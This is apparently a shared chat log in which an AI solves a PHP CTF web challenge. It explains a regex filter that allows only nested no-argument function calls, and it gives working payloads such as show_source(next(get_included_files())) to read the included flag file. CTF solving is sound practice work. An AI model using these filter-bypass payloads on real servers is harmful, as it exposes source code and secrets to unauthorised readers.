这是一道ctfweb题,帮我解一下

बनाया गया: 27 मई 2026

का उपयोग करके उत्तर दिया गया GPT-5.5 Thinking द्वारा Chat01

प्रश्न

image.png

这是一道ctfweb题,帮我解一下

विचार

Evaluating potential payloads for the flag

The hint suggests trying show_source and highlight_file functions, which could reveal the flag file. I’m considering using highlight_file(next(get_included_files())) to get get_flag.php. If that's blocked, readfile could work as an alternative. I’ll also explore headers for possible command execution via system. Let’s test these ideas.

Thought for 2m 35s

उत्तर

可以直接读已 include 的 get_flag.php

核心点:过滤器要求你的 code 被这个正则删完后只剩一个分号 ;

php
preg_replace('/[^\W]+$(?R)?$/', '', $code) === ';'

所以 payload 要长成“函数嵌套函数”的形式,并以分号结尾。

推荐 payload:

text
?code=show_source(next(get_included_files()))%3B

完整访问:

text
http://challenge.cyclens.tech:30494/?code=show_source(next(get_included_files()))%3B

原理是:

php
show_source(next(get_included_files()));

其中:

php
get_included_files()

会返回当前脚本和已经 include 的文件列表。源码最上面有:

php
include("get_flag.php");

所以 next(get_included_files()) 通常会取到第二个文件,也就是 get_flag.php,然后 show_source() 把它源码高亮输出,flag 应该就在里面。

如果 show_source 不行,可以试:

text
?code=highlight_file(next(get_included_files()))%3B

或:

text
?code=readfile(next(get_included_files()))%3B

इस प्रश्नोत्तर को साझा करें